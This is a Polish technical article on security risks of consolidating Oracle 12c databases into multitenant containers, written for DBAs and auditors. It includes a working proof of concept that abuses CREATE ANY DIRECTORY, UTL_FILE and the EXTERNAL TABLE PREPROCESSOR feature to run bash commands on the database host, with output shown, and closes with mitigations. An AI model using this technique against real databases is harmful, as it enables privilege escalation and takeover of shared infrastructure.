ORACLE HACKING SESSION

DATABASE AS A SERVICE – ZAGROŻENIA W CZASACH KONSOLIDACJI

Żyjemy w czasach, w których słowo „chmura" częściej kojarzy się z usługą IT niż ze zjawiskiem atmosferycznym, a firmy prześcigają się w oferowaniu rozwiązań cloudowych. Oracle nie jest wyjątkiem – w ofercie największego dostawcy baz danych można znaleźć wiele nowych usług i funkcjonalności oferowanych w modelu Database as a Service (DBaaS) i prywatnej chmury.

Kamil Stawiarski

Omawiając problematykę konsolidacji, warto zwrócić szczególną uwagę na to, jakie środowiska ze sobą konsolidujemy i jak może to wpłynąć na szeroko pojęte bezpieczeństwo infrastruktury IT. W tym kontekście przyjrzyjmy się flagowemu rozwiązaniu Oracle'a – nowej funkcjonalności w bazie 12c, która zupełnie zmienia fizyczną konstrukcję bazy danych z Redwood.

Do tej pory główną cechą wyróżniającą bazy danych Oracle, jak i główną przeszkodą w przesiadce z innych środowisk, była architektura. W przeciwieństwie do np. SQL Server lub PostgreSQL, w serwerze Oracle mieliśmy tylko jedną bazę danych, podzieloną na schematy będące jednocześnie użytkownikami. Począwszy od bazy 12c, Oracle postanowił wprowadzić podział podobny do pozostałych silników bazodanowych – jedną instancję, w której jest wiele baz, a w każdej z nich wiele schematów. Cała zabawa polega na ułatwionym zarządzaniu skonsolidowanymi środowiskami w ramach jednego klastra. Efektem takiego podejścia jest lepsza dystrybucja zasobów pamięci i procesora, ujednolicony backup i odtwarzanie danych oraz łatwiejsza migracja do nowych wersji, polegająca na zwykłym „wyciągnięciu" bazy danych z matczynego kontenera i wpięciu jej do wersji wyższej.

> ORACLE MULTITENANT ARCHITECTURE

Do niedawna, w sytuacji gdy zaistniała potrzeba konsolidacji wielu środowisk Oracle Database w ramach jednej maszyny lub jednego klastra, zawsze pojawiał się problem z obsługą odpowiedniej ilości pamięci. Każda baza danych posiadała własną instancję, a więc własny zasób pamięci współdzielonej, który musiał być zaalokowany tylko i wyłącznie dla niej na poziomie systemu operacyjnego. Zarządzanie takim środowiskiem przysparzało DBA wielu problemów, zwłaszcza w obrębie priorytetyzacji poszczególnych baz i dobrania odpowiednich rozmiarów SGA dla systemów działających obok siebie.

Skąd w ogóle potrzeba konsolidacji? Przede wszystkim ze względów kosztowych – jeśli instytucja posiada 50 systemów

> Konsolidacja nowych środowisk stała się niezwykle prosta. Oracle zmienił architekturę bazy danych w taki sposób, aby było możliwe dodawanie nowych, tzw. wtyczkowych baz danych do kontenera, czyli istniejącej instalacji Oracle'a. Takie rozwiązanie pozwala na oszczędność zasobów i łatwe dodawanie kolejnych systemów do istniejącej infrastruktury.

opartych na bazie Oracle, ciężko jest utrzymywać 50 odrębnych serwerów. W takiej sytuacji architekci staną przed wyborem wirtualizacji lub budowy klastra RAC, na który zostaną zmigrowane wszystkie używane bazy danych. Wspomniane rozwiązania nie pozwalają jednak na oszczędność zasobów i łatwe dodawanie kolejnych systemów do istniejącej infrastruktury. Oracle rozwiązał te problemy, zmieniając architekturę bazy danych w taki sposób, aby było możliwe dodawanie nowych tzw. wtyczkowych baz danych (pluggable databases) do kontenera, czyli istniejącej instalacji Oracle'a, która może być stworzona jako np. Real Application Cluster, z zaimplementowaną polityką backupu i rozwiązaniem HA w postaci Oracle Data Guard. Dzięki temu konsolidacja nowych środowisk bazodanowych stała się niezwykle prosta, a do jej częstego wykorzystywania przekonują następujące argumenty:

- **niskie nakłady pracy** – wystarczy raz zdefiniować politykę backupu, stworzyć klaster i środowisko HA, aby każda następna wtyczkowa baza danych została automatycznie objęta tymi regułami natychmiast po wpięciu w kontener;
- **skalowalność** – w przypadku brakujących zasobów można rozbudowywać klaster i zasoby dyskowe bez konieczności skomplikowanych migracji i w dużej liczbie przypadków bez okien serwisowych;
- **zmniejszenie kosztów** – wszystkie bazy danych są licencjonowane w ramach całego klastra i nie trzeba utrzymywać osobnych fizycznych środowisk;
- **private cloud** – łatwość implementacji tzw. chmury prywatnej, pozwalającej na to, że każdy w instytucji może za pomocą przeglądarki internetowej otrzymać dostęp do bazy o określonych parametrach i np. na określony czas;
- **fizyczne zasoby** – zmniejszenie ilości potrzebnych fizycznych zasobów na tworzenie np. baz testowych lub deweloperskich, poprzez wspólne wykorzystanie tego samego obszaru pamięci współdzielonej i użycie takich mechanizmów jak copy on write, w celu tworzenia wtyczkowych baz danych typu snapshot copy.

Wszystkie te zalety sprawiają, że firmy coraz przychylniej patrzą na prywatną chmurę i są coraz bardziej skłonne konsolidować środowiska bazodanowe.

> UPRAWNIENIA VS FUNKCJONALNOŚĆ

Niemal każdy programista prawdopodobnie stoczył niejedną walkę z administratorem o poziom uprawnień dla nowo tworzonej aplikacji. Niestety, wiele takich sporów kończy się kompromisem, który o wiele za daleko jest przesunięty w stronę wygody. Przeprowadzając różnego typu audyty systemów, często można spotkać się z sytuacjami, w których główny użytkownik aplikacyjny co prawda nie ma uprawnień do roli DBA, ale do większości jej składowych już tak. O ile nie zawsze jest to krytyczny problem, zwłaszcza jeśli baza danych ma swój prywatny serwer, o tyle w środowiskach skonsolidowanych takie zachowanie może prowadzić do prawdziwej katastrofy.

Rozważmy następujący przykład: wyobraźmy sobie firmę X, która jako duża korporacja posiada wiele systemów opartych o bazy danych Oracle. W ramach dużego projektu migracyjnego postanowiono, że wraz z wymianą sprzętu i budową DRC nastąpi konsolidacja wszystkich systemów w ramach oszczędności licencyjnych. Został stworzony klaster RAC, środowisko Data Guard oraz zaimplementowana polityka backupów inkrementalnych, i do tak przygotowanej platformy zaczynamy wpinać kolejne bazy danych. Do jednej z nich użytkownik aplikacyjny posiada uprawnienia, wśród których znajdują się m.in. CREATE ANY DIRECTORY oraz EXECUTE ANY PROCEDURE.

NADUŻYCIE I ESKALACJA

Jako wykonawca mający dostęp tylko do swojej bazy z wyżej wymienionymi uprawnieniami, użytkownik może okazać się na tyle pomysłowy, że postara się ich użyć w niecodzienny sposób. W celu doprowadzenia do nadużycia wystarczy użyć obiektu EXTERNAL TABLE, a dokładniej jego funkcjonalności o nazwie PREPROCESSOR, która została zaprezentowana w bazie Oracle 11g jako jedna z nowych i ciekawych cech (opis funkcjonalności na: **tinyurl.com/preprocessor11g**).

STWORZENIE ODPOWIEDNICH OBIEKTÓW DIRECTORY

```
SQL> ora-600:bin inter$ ./sdsql hr/hr@skiper:1521/kowalsky
sdsql: Release 4.1.0 Beta on Pn gru 22 12:36:39 2014
Copyright (c) 1982, 2014, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
SQL> CREATE OR REPLACE DIRECTORY exec_dir AS '/bin';
Directory EXEC_DIR created.
SQL> CREATE OR REPLACE DIRECTORY temp_dir AS '/tmp';
Directory TEMP_DIR created.
```

UŻYCIE PAKIETU UTL_FILE

Użycie pakietu UTL_FILE do stworzenia skryptu, który zostanie wykonany na systemie operacyjnym:

```
SQL> declare
2 v_file utl_file.file_type;
3 begin
4 v_file:=utl_file.fopen('TEMP_DIR','.oralock.log','w');
5 utl_file.put_line(v_file,'export PATH=/usr/local/bin:/bin:/usr/\
bin:/usr/local/sbin:/usr/sbin:/sbin:/home/oracle/bin:/u01/app/\
oracle/product/12.1.0/grid/bin');
6 utl_file.put_line(v_file,'export ORACLE_HOME=/u01/app/oracle/\
product/12.1.0/grid');
7 utl_file.put_line(v_file,'export ORACLE_SID=+ASM');
8 utl_file.put_line(v_file,'export PATH=$ORACLE_HOME/bin:$PATH');
9 utl_file.put_line(v_file,'crsctl stat res -t');
10 utl_file.put_line(v_file,'ps aux | grep pmon');
11 utl_file.put_line(v_file,'rm /tmp/.oralock.log');
12 utl_file.fclose(v_file);
13 end;
14 /
```

+ UŻYCIE EXTERNAL TABLE

Użycie EXTERNAL TABLE z funkcją PREPROCESSOR w celu wykonania skryptu:

```
SQL> CREATE TABLE exec_command (
  2    txt varchar2(4000)
  3  )
  4  ORGANIZATION EXTERNAL (
  5    TYPE ORACLE_LOADER
  6    DEFAULT DIRECTORY temp_dir
  7    ACCESS PARAMETERS (
  8      RECORDS DELIMITED BY NEWLINE
  9      PREPROCESSOR exec_dir:'bash'
 10      FIELDS TERMINATED BY ','
 11      MISSING FIELD VALUES ARE NULL
 12      (
 13        txt
 14      )
 15    )
 16    LOCATION ('.oralock.log')
 17  );
Table EXEC_COMMAND created.
SQL> select * from exec_command;
TXT
--------------------------------------------------------------------------------
Name           Target  State           Server          State details
--------------------------------------------------------------------------------
Local Resources
--------------------------------------------------------------------------------
ora.ASMBACKUP.dg
               ONLINE  ONLINE          skiper          STABLE
ora.DATA11G.dg
               ONLINE  ONLINE          skiper          STABLE
ora.DATA12C.dg
               ONLINE  ONLINE          skiper          STABLE
ora.FASTDATA11G.dg
               ONLINE  ONLINE          skiper          STABLE
ora.FASTDATA12C.dg
               ONLINE  ONLINE          skiper          STABLE
ora.LISTENER.lsnr
               ONLINE  ONLINE          skiper          STABLE
ora.asm
               ONLINE  ONLINE          skiper          Started
ora.ons
               OFFLINE OFFLINE         skiper          STABLE
--------------------------------------------------------------------------------
Cluster Resources
--------------------------------------------------------------------------------
ora.cssd
      1        ONLINE  ONLINE          skiper          STABLE
ora.diskmon
      1        OFFLINE OFFLINE                         STABLE
ora.evmd
      1        ONLINE  ONLINE          skiper          STABLE
ora.kowalsky.db
      1        ONLINE  ONLINE          skiper          Open
ora.private.db
      1        OFFLINE OFFLINE                         Instance Shutdown
                                                       ABLE
ora.rico.db
      1        OFFLINE OFFLINE                         Instance Shutdown
                                                       ABLE
--------------------------------------------------------------------------------
```

W powyższym przykładzie widać, że bash jako „preprocesor" wykonał nasz skrypt, a dzięki funkcjonalności „external table" mogliśmy zobaczyć wynik tego skryptu. Nietrudno zatem stworzyć scenariusz, w którym bez problemu zalogujemy się do bazy kontenerowej i uzyskamy dostęp do całego środowiska.

> POWAŻNA LUKA CZY ZANIEDBANIE?

Wiele osób może w tym momencie stwierdzić, że jest to bardzo poważna luka w bazie danych Oracle. Ale takie stwierdzenie można przewrotnie porównać z absurdalnym zarzutem, że poważnym uchybieniem firm produkujących noże jest fakt, że są one ostre i mogą zostać wykorzystane do niecnych celów. Jeśli aplikacja dostaje uprawnienia DBA, nie należy się dziwić, że ktoś może ich nadużyć. Jeśli damy komuś dostęp do roota, trzeba liczyć się z tym, że ktoś użyje tego uprawnienia do restartu maszyny.

Na koniec warto przypomnieć, że istnieje wiele technik, których można użyć dla zabezpieczenia środowiska przed opisanymi sytuacjami. Są to m.in.:

- wyłączenie możliwości autoryzacji systemowej dla użytkownika będącego właścicielem oprogramowania Oracle;
- wdrożenie mechanizmu Database Vault (dodatkowo licencjonowane);
- wdrożenie oprogramowania Database Firewall (dodatkowo licencjonowane);
- użycie nowej cechy bazy 12c, jaką jest unified auditing i zbudowanie reguł audytu dla wykrywania nadużyć;
- przede wszystkim dbanie o poziom uprawnień adekwatny do funkcjonalności systemu.

Przedstawione zagadnienie warto potraktować jako punkt wyjścia podczas rewizji uprawnień aplikacji, które korzystają z bazy danych Oracle, przed przyłączeniem ich do skonsolidowanego środowiska. Najlepiej postępować w myśl zasady „łatwiej zapobiegać niż leczyć". Znacznie ciężej będzie bowiem uzyskać pożądany zestaw uprawnień dla istniejących już aplikacji, w których modyfikacja na poziomie ról użytkownika aplikacyjnego może prowadzić do nieprzewidzianych zachowań w późniejszym etapie życia systemu, aniżeli poddać wykorzystywane środowiska konsolidacji.

Autor jest jedynym w Polsce posiadaczem tytułu Oracle Certified Master, zaproszonym do programu Oracle ACE.